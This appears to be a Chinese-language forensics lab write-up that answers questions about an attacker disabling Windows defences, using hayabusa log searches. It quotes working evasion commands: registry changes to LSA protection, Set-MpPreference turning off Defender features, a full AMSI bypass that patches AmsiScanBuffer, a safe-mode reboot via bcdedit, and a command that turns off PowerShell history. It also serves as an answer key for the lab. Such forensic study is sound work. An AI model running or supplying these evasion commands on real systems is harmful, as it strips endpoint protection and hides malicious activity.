QA
Q | A |
---|---|
攻擊者透過修改註冊表項在受感染主機上禁用了 LSA 保護。該註冊表項的完整路徑是? | HKLM\SYSTEM\CurrentControlSet\Control\LSA |
攻擊者首先執行哪個 PowerShell 命令來禁用 Windows Defender? | Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true |
腳本正在修補 DLL 中的哪個函式以有效禁用 AMSI? | AmsiScanBuffer |
攻擊者使用哪個命令在安全模式下重新啟動電腦? | bcdedit.exe /set safeboot network |
攻擊者使用哪個 PowerShell 命令來禁用 PowerShell 命令歷史記錄? | Set-PSReadlineOption -HistorySaveStyle SaveNothing |
TASK1:LSA
來源 | 說明 |
---|---|
註冊表修改事件 | 路徑為 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL 的值被修改,通常從註冊表變更日誌或安全日誌中檢索。 |
Windows 安全事件日誌(Event ID 4657) | 紀錄註冊表值被修改的事件,重點篩選涉及 Lsa 或 RunAsPPL 的註冊表路徑。 |
PowerShell 腳本執行日誌(Event ID 4104) | 攻擊者可能透過 PowerShell 腳本禁用 LSA 保護,查看執行的腳本內容是否涉及修改 RunAsPPL。 |
Sysmon 事件日誌 | 紀錄詳細的註冊表修改和進程建立,可以透過 Sysmon 註冊表事件(Event ID 13)確認註冊表鍵修改。 |
進程建立事件(Windows Event ID 4688) | 可找出執行修改命令的進程(如 powershell.exe、reg.exe)。 |
禁用 LSA 保護讓攻擊者能夠繞過 Windows 系統對 LSASS 進程的保護,從而注入惡意程式碼或載入未經授權的憑證管理模組,方便竊取用戶憑證和敏感資料,提升攻擊的持久性和隱蔽性,同時阻礙安全防護工具的偵測與攔截,為後續橫向移動和權限提升鋪路。
RunAsPPL 是 Windows 用來保護 LSASS 進程的重要註冊表設定,啟用後能防止惡意程式注入和竊取憑證;攻擊者禁用它,等於解除這層防護,使 LSASS 變得脆弱,從而輕易竊取憑證和敏感資訊,達到繞過安全機制並持久控制系統的目的。
hayabusa-3.3.0-win-x64.exe search -f Microsoft-Windows-Sysmon-Operational.evtx -k "RunAsPPL" -J -o "powershell_operational_log.json"
hayabusa-3.3.0-win-x64.exe search -f Microsoft-Windows-Powershell-Operational.evtx -k "RunAsPPL" -J -o "powershell_log.json"
HKLM\SYSTEM\CurrentControlSet\Control\LSA
TASK2:MpPreference
hayabusa-3.3.0-win-x64.exe search -f Microsoft-Windows-Powershell-Operational.evtx -k "Set-MpPreference" -J -o "powershell_exec.json"
–keyword Set-MpPreference 是 PowerShell 禁用 Windows Defender 時常用的命令參數(例如 Set-MpPreference -DisableRealtimeMonitoring $true),它是 Windows Defender 配置的核心命令。
Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true
TASK3:AMSI
AMSI(Antimalware Scan Interface)是 Windows 系統提供的一個安全介面,允許防毒軟體和安全工具即時掃描應用程式中的腳本和資料,檢測並攔截惡意程式碼,有效提升系統對腳本攻擊和惡意軟體的防禦能力。
hayabusa-3.3.0-win-x64.exe search -f Microsoft-Windows-Powershell-Operational.evtx -k "Disable-Protection" -J -o "AMSI.json"
這裏用函數名 Disable-Protection,因爲它是腳本中禁用 AMSI 的關鍵函數名,能精確定位相關腳本。
function Disable-Protection { $k = @\" using System; using System.Runtime.InteropServices; public class P { [DllImport(\"kernel32.dll\")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(\"kernel32.dll\")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(\"kernel32.dll\")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); public static bool Patch() { IntPtr h = GetModuleHandle(\"a\" + \"m\" + \"s\" + \"i\" + \".dll\"); if (h == IntPtr.Zero) return false; IntPtr a = GetProcAddress(h, \"A\" + \"m\" + \"s\" + \"i\" + \"S\" + \"c\" + \"a\" + \"n\" + \"B\" + \"u\" + \"f\" + \"f\" + \"e\" + \"r\"); if (a == IntPtr.Zero) return false; UInt32 oldProtect; if (!VirtualProtect(a, (UIntPtr)5, 0x40, out oldProtect)) return false; byte[] patch = { 0x31, 0xC0, 0xC3 }; Marshal.Copy(patch, 0, a, patch.Length); return VirtualProtect(a, (UIntPtr)5, oldProtect, out oldProtect); } } \"@ Add-Type -TypeDefinition $k $result = [P]::Patch() if ($result) { Write-Output \"Protection Disabled\" } else { Write-Output \"Failed to Disable Protection\" } }"
這個函數利用內嵌的 C# 代碼,獲取 AMSI 動態鏈接庫(amsi.dll)中負責掃描惡意代碼的關鍵函數 AmsiScanBuffer 的內存地址,臨時解除該內存區域的寫保護,然後用特定的彙編指令覆蓋函數開頭,使其直接返回成功,繞過 Windows Defender 的腳本檢測機制,從而讓惡意 PowerShell 腳本能夠在系統中隱蔽執行,避免被安全軟件發現和攔截。
AmsiScanBuffer
TASK4:Safe Mode with Networking - Reboot
hayabusa-3.3.0-win-x64.exe search -f Microsoft-Windows-Powershell-Operational.evtx -k "safeboot"
bcdedit /set safeboot network 是 Windows 系统中的一条命令,用来配置系统启动选项,使计算机在下次重启时进入 带网络支持的安全模式(Safe Mode with Networking)。
攻擊者通過設置系統進入帶網絡的安全模式,借助該模式關閉大部分安全防護軟件,同時保持網絡連接,方便遠程控制和執行惡意操作,從而繞過防禦、隱藏攻擊行爲。
bcdedit.exe /set safeboot network
TASK5:Disable PowerShell command history
hayabusa-3.3.0-win-x64.exe search -f Microsoft-Windows-Powershell-Operational.evtx -k "Set-PSReadlineOption"
Set-PSReadlineOption 是 PowerShell 命令,常用來配置 PowerShell 命令行的行爲,比如禁用命令曆史記錄(攻擊者常用來避免命令被記錄)。
Set-PSReadlineOption -HistorySaveStyle SaveNothing